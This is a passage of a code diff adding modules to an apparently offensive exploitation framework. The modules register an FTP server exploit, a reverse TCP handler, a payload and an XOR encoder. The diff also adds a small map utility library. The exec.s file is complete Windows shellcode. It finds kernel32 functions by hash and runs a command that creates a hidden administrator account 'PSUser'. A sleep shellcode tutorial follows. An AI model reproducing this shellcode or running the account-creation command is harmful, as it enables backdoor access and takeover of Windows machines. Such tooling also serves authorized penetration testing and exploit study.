  22 + OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
  23 + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
  24 + OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
  25 + OF THE POSSIBILITY OF SUCH DAMAGE.
  26 +*/
  27 +
  28 +#include "modules.h"
  29 +
  30 +void modules_add()
  31 +{
  32 + /* Exploits */
  33 + module_manager_add(exploit_freefloat_ftp_server_mkd_init());
  34 +
  35 + /* Handlers */
  36 + module_manager_add(handler_reverse_tcp_init());
  37 +
  38 + /* Payloads */
  39 + module_manager_add(payload_win32_exec_init());
  40 +
  41 + /* Encoders */
  42 + module_manager_add(encoder_simple_xor_init());
  43 +}
52 src/libmodules/modules.h
... ... @@ -0,0 +1,52 @@
  1 +/* Copyright (c) 2013 Arxopia LLC.
  2 + All rights reserved.
  3 +
  4 + Redistribution and use in source and binary forms, with or without
  5 + modification, are permitted provided that the following conditions are met:
  6 +
  7 + * Redistributions of source code must retain the above copyright
  8 + notice, this list of conditions and the following disclaimer.
  9 + * Redistributions in binary form must reproduce the above copyright
  10 + notice, this list of conditions and the following disclaimer in the
  11 + documentation and/or other materials provided with the distribution.
  12 + * Neither the name of the Arxopia LLC nor the names of its contributors
  13 + may be used to endorse or promote products derived from this software
  14 + without specific prior written permission.
  15 +
  16 + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
  17 + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  18 + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  19 + DISCLAIMED. IN NO EVENT SHALL ARXOPIA LLC BE LIABLE FOR ANY DIRECT, INDIRECT,
  20 + INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
  21 + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
  22 + OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
  23 + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
  24 + OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
  25 + OF THE POSSIBILITY OF SUCH DAMAGE.
  26 +*/
  27 +
  28 +#ifndef modules_h
  29 +#define modules_h
  30 +
  31 +#include <stdio.h>
  32 +#include <stdlib.h>
  33 +#include <string.h>
  34 +
  35 +#include "text.h"
  36 +#include "module_manager.h"
  37 +
  38 +/* Exploits */
  39 +struct module_t *exploit_freefloat_ftp_server_mkd_init(void);
  40 +
  41 +/* Handlers */
  42 +struct module_t *handler_reverse_tcp_init(void);
  43 +
  44 +/* Payloads */
  45 +struct module_t *payload_win32_exec_init(void);
  46 +
  47 +/* Encoders */
  48 +struct module_t *encoder_simple_xor_init(void);
  49 +
  50 +void modules_add();
  51 +
  52 +#endif
38 src/libmodules/payloads/win32/exec/exec.c
... ... @@ -0,0 +1,38 @@
  1 +#include <stdio.h>
  2 +
  3 +#include "tcp.h"
  4 +#include "modules.h"
  5 +
  6 +void *payload_win32_exec(struct module_t *module);
  7 +
  8 +struct module_t *payload_win32_exec_init()
  9 +{
  10 + struct module_t *module;
  11 +
  12 + module = malloc(sizeof(*module));
  13 +
  14 + if(!module)
  15 + {
  16 + print_error("Unable to malloc() memory for payload_win32_exec!\n");
  17 + exit(1);
  18 + }
  19 +
  20 + module->name = "win32_exec";
  21 + module->description = "Execute arbitrary Windows Application via WinExec()";
  22 + module->type = PAYLOAD;
  23 + module->exec = payload_win32_exec;
  24 +
  25 + module->next = NULL;
  26 +
  27 + return module;
  28 +}
  29 +
  30 +void *payload_win32_exec(struct module_t *module)
  31 +{
  32 + struct module_t *self;
  33 + self = module;
  34 +
  35 + (void) self;
  36 +
  37 + return 0;
  38 +}
159 src/libmodules/payloads/win32/exec/exec.s
... ... @@ -0,0 +1,159 @@
  1 +;adduser-dynamic.asm
  2 +[SECTION .text]
  3 +
  4 +BITS 32
  5 +
  6 +global _start
  7 +
  8 +_start:
  9 +
  10 + jmp start_asm
  11 +
  12 +;DEFINE FUNCTIONS
  13 +
  14 +;FUNCTION: find_kernel32
  15 +
  16 +find_kernel32:
  17 + push esi
  18 + xor eax, eax
  19 + mov eax, [fs:eax+0x30]
  20 + test eax, eax
  21 + js find_kernel32_9x
  22 +find_kernel32_nt:
  23 + mov eax, [eax + 0x0c]
  24 + mov esi, [eax + 0x1c]
  25 + lodsd
  26 + mov eax, [eax + 0x8]
  27 + jmp find_kernel32_finished
  28 +find_kernel32_9x:
  29 + mov eax, [eax + 0x34]
  30 + lea eax, [eax + 0x7c]
  31 + mov eax, [eax + 0x3c]
  32 +find_kernel32_finished:
  33 + pop esi
  34 + ret
  35 +
  36 +;END FUNCTION: find_kernel32
  37 +;Based on http://www.projectshellcode.com tutorials
  38 +
  39 +;FUNCTION: find_function
  40 +find_function:
  41 + pushad
  42 + mov ebp, [esp + 0x24]
  43 + mov eax, [ebp + 0x3c]
  44 + mov edx, [ebp + eax + 0x78]
  45 + add edx, ebp
  46 + mov ecx, [edx + 0x18]
  47 + mov ebx, [edx + 0x20]
  48 + add ebx, ebp
  49 +find_function_loop:
  50 + jecxz find_function_finished
  51 + dec ecx
  52 + mov esi, [ebx + ecx * 4]
  53 + add esi, ebp ; esi now points to current function string
  54 + ; start of compute hash function
  55 +compute_hash: ; put this into a function
  56 + xor edi, edi ; edi will hold our hash result
  57 + xor eax, eax ; eax holds our current char
  58 + cld
  59 +compute_hash_again:
  60 + lodsb ; puts current char into eax (except first time)
  61 + test al, al ; checks for null - end of function string
  62 + jz compute_hash_finished
  63 + ror edi, 0xd ; rotate the current hash
  64 + add edi, eax ; adds current char to current hash
  65 + jmp compute_hash_again
  66 +compute_hash_finished: ; end of compute hash function
  67 +find_function_compare:
  68 + ;this is where it compares the calculated hash to our hash
  69 + cmp edi, [esp + 0x28]
  70 + jnz find_function_loop
  71 + mov ebx, [edx + 0x24]
  72 + add ebx, ebp
  73 + mov cx, [ebx + 2 * ecx]
  74 + mov ebx, [edx + 0x1c]
  75 + add ebx, ebp
  76 + mov eax, [ebx + 4 * ecx]
  77 + add eax, ebp
  78 + ;this is the VMA of the function
  79 + mov [esp + 0x1c], eax
  80 +find_function_finished:
  81 + popad
  82 + ret
  83 +
  84 +;END FUNCTION: find_function
  85 +
  86 +;FUNCTION: resolve_symbols_for_dll
  87 +
  88 +resolve_symbols_for_dll:
  89 + ;about to load current hash into eax (pointed to by esi)
  90 + lodsd
  91 + push eax
  92 + push edx
  93 + call find_function
  94 + mov [edi], eax
  95 + add esp, 0x08
  96 + add edi, 0x04
  97 + cmp esi, ecx
  98 + jne resolve_symbols_for_dll
  99 +resolve_symbols_for_dll_finished:
  100 + ret
  101 +
  102 +;END FUNCTION: resolve_symbols_for_dll
  103 +
  104 +;DEFINE CONSTANTS
  105 +
  106 +locate_hashes:
  107 + call locate_hashes_return
  108 +
  109 + ;WinExec ;result hash = 0x98FE8A0E
  110 + db 0x98
  111 + db 0xFE
  112 + db 0x8A
  113 + db 0x0E
  114 +
  115 + ;ExitProcess ;result hash = 0x7ED8E273
  116 + db 0x7E
  117 + db 0xD8
  118 + db 0xE2
  119 + db 0x73
  120 +
  121 +;END DEFINE CONSTANTS
  122 +
  123 +start_asm: ; start our main program
  124 +
  125 + sub esp, 0x08 ; allocate space on stack for function addresses
  126 + mov ebp, esp ; set ebp as frame ptr for relative offset on stack
  127 +
  128 + call find_kernel32 ;find address of Kernel32.dll
  129 + mov edx, eax
  130 +
  131 + ;resolve kernel32 symbols
  132 + jmp short locate_hashes ;locate address of our hashes
  133 +locate_hashes_return: ;define return label to return to this code
  134 + pop esi ;get constants address from stack
  135 + lea edi, [ebp + 0x04] ;this is where we store our function addresses
  136 + mov ecx, esi
  137 + add ecx, 0x08 ;length of dns shellcode hash list
  138 + call resolve_symbols_for_dll
  139 +
  140 +;add user section
  141 +
  142 + jmp short GetCommand
  143 +CommandReturn:
  144 + pop ebx ;ebx now holds the handle to the string
  145 +
  146 + xor eax,eax ;empties out eax
  147 + push eax ;push null onto stack as empty parameter value
  148 + push ebx ;push the command onto the stack
  149 + call [ebp+4] ;call WinExec(path,showcode)
  150 +
  151 + xor eax,eax ;zero the register again, clears winexec retval
  152 + push eax ;push null onto stack as empty parameter value
  153 +call [ebp+8] ;call ExitProcess(0);
  154 +
  155 +GetCommand:
  156 + call CommandReturn
  157 + db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser"
  158 + db 0x00
  159 +
31 src/libmodules/payloads/win32/sleep/sleep.asm
... ... @@ -0,0 +1,31 @@
  1 +;sleep.asm
  2 +[SECTION .text]
  3 +
  4 +; set the code to be 32-bit
  5 +; Tip: If you don't have this line in more complex shellcode,
  6 +; the resulting instructions may end up being different to
  7 +; what you were expecting.
  8 +BITS 32
  9 +
  10 +global _start
  11 +
  12 +_start:
  13 +; clear the eax register
  14 +; Tip: xor is great for zeroing out registers to clear previous values.
  15 +xor eax,eax
  16 +
  17 +; move address of Sleep to ebx that we gained from "./arwin.exe Kernel32.dll Sleep"
  18 +mov ebx, 0x7c802446
  19 +
  20 +; pause for 5000ms by putting 5000 into ax (8 bit eax register)
  21 +; Tip: ax is the lower half of eax. Using ax when possible reduces
  22 +; the instruction size, and therefore the shellcode size.
  23 +mov ax, 5000
  24 +
  25 +; push eax onto the stack as the first parameter to the Sleep function.
  26 +; Tip: When functions are called, the parameters are pulled from the stack.
  27 +push eax
  28 +
  29 +; call the address of Sleep(ms) located in ebx
  30 +; Tip: Sleep has one parameter and will pull this from the stack.
  31 +call ebx
2  src/libsaru/CMakeLists.txt
... ... @@ -0,0 +1,2 @@
  1 +project(libsaru)
  2 +add_library(saru STATIC map.c map.h memory.c memory.h module_manager.c module_manager.h options.c options.h output.c output.h tcp.c tcp.h text.c text.h)
89 src/libsaru/map.c
... ... @@ -0,0 +1,89 @@
  1 +/*
  2 + Copyright (c) 2013 Arxopia LLC.
  3 + All rights reserved.
  4 +
  5 + Redistribution and use in source and binary forms, with or without
  6 + modification, are permitted provided that the following conditions are met:
  7 +
  8 + * Redistributions of source code must retain the above copyright
  9 + notice, this list of conditions and the following disclaimer.
  10 + * Redistributions in binary form must reproduce the above copyright
  11 + notice, this list of conditions and the following disclaimer in the
  12 + documentation and/or other materials provided with the distribution.
  13 + * Neither the name of the Arxopia LLC nor the names of its contributors
  14 + may be used to endorse or promote products derived from this software
  15 + without specific prior written permission.
  16 +
  17 + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
  18 + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  19 + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  20 + DISCLAIMED. IN NO EVENT SHALL ARXOPIA LLC BE LIABLE FOR ANY DIRECT, INDIRECT,
  21 + INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
  22 + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
  23 + OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
  24 + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
  25 + OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
  26 + OF THE POSSIBILITY OF SUCH DAMAGE.
  27 +*/
  28 +
  29 +#include "map.h"
  30 +
  31 +struct map_t *map_init(void)
  32 +{
  33 + struct map_t *map;
  34 +
  35 + map = malloc(sizeof(*map));
  36 + memory_check_malloc(map);
  37 +
  38 + map->map = malloc(sizeof(*map->map));
  39 + memory_check_malloc(map->map);
  40 +
  41 + return map;
  42 +}
  43 +
  44 +void map_insert(struct map_t *map, void *key, void *value)
  45 +{
  46 + struct map_entry_t *node;
  47 + node = malloc(sizeof(*node));
  48 + memory_check_malloc(node);
  49 +
  50 + node->key = key;
  51 + node->value = value;
  52 +
  53 + node->next = map->map;
  54 + map->map = node;
  55 +}
  56 +
  57 +void map_erase(struct map_t *map, struct map_entry_t *entry)
  58 +{
  59 + (void) map;
  60 + (void) entry;
  61 + return;
  62 +}
  63 +
  64 +void *map_find(struct map_t *map, void *key)
  65 +{
  66 + struct map_entry_t *node;
  67 +
  68 + node = map->map;
  69 +
  70 + while(node->next != NULL)
  71 + {
  72 + if (strncmp(key, node->key, strlen(node->key)) == 0)
  73 + {
  74 + return node->value;
  75 + }
  76 +
  77 + node = node->next;
  78 + }
  79 +
  80 + return NULL;
  81 +}
  82 +
  83 +void map_kill(struct map_t *map)
  84 +{
  85 + struct map_entry_t;
  86 +
  87 +
  88 + memory_safe_free(map);
  89 +}
62 src/libsaru/map.h
... ... @@ -0,0 +1,62 @@
  1 +/*
  2 + Copyright (c) 2013 Arxopia LLC.
  3 + All rights reserved.
  4 +
  5 + Redistribution and use in source and binary forms, with or without
  6 + modification, are permitted provided that the following conditions are met:
  7 +
  8 + * Redistributions of source code must retain the above copyright
  9 + notice, this list of conditions and the following disclaimer.
  10 + * Redistributions in binary form must reproduce the above copyright
  11 + notice, this list of conditions and the following disclaimer in the
  12 + documentation and/or other materials provided with the distribution.
  13 + * Neither the name of the Arxopia LLC nor the names of its contributors
  14 + may be used to endorse or promote products derived from this software
  15 + without specific prior written permission.
  16 +
  17 + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
  18 + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  19 + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  20 + DISCLAIMED. IN NO EVENT SHALL ARXOPIA LLC BE LIABLE FOR ANY DIRECT, INDIRECT,
  21 + INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
  22 + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
  23 + OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
  24 + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
  25 + OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
  26 + OF THE POSSIBILITY OF SUCH DAMAGE.
  27 +*/
  28 +
  29 +#ifndef map_h
  30 +#define map_h
  31 +
  32 +#include <stdio.h>
  33 +#include <stdlib.h>
  34 +
  35 +#include "memory.h"
  36 +
  37 +#define MAP_DEFAULT_SIZE 50
  38 +
  39 +struct map_entry_t
  40 +{
  41 + void *key;
  42 + void *value;
  43 + void *next;
  44 +};
  45 +
  46 +struct map_t
  47 +{
  48 + struct map_entry_t *map;
  49 + int size;
  50 +};
  51 +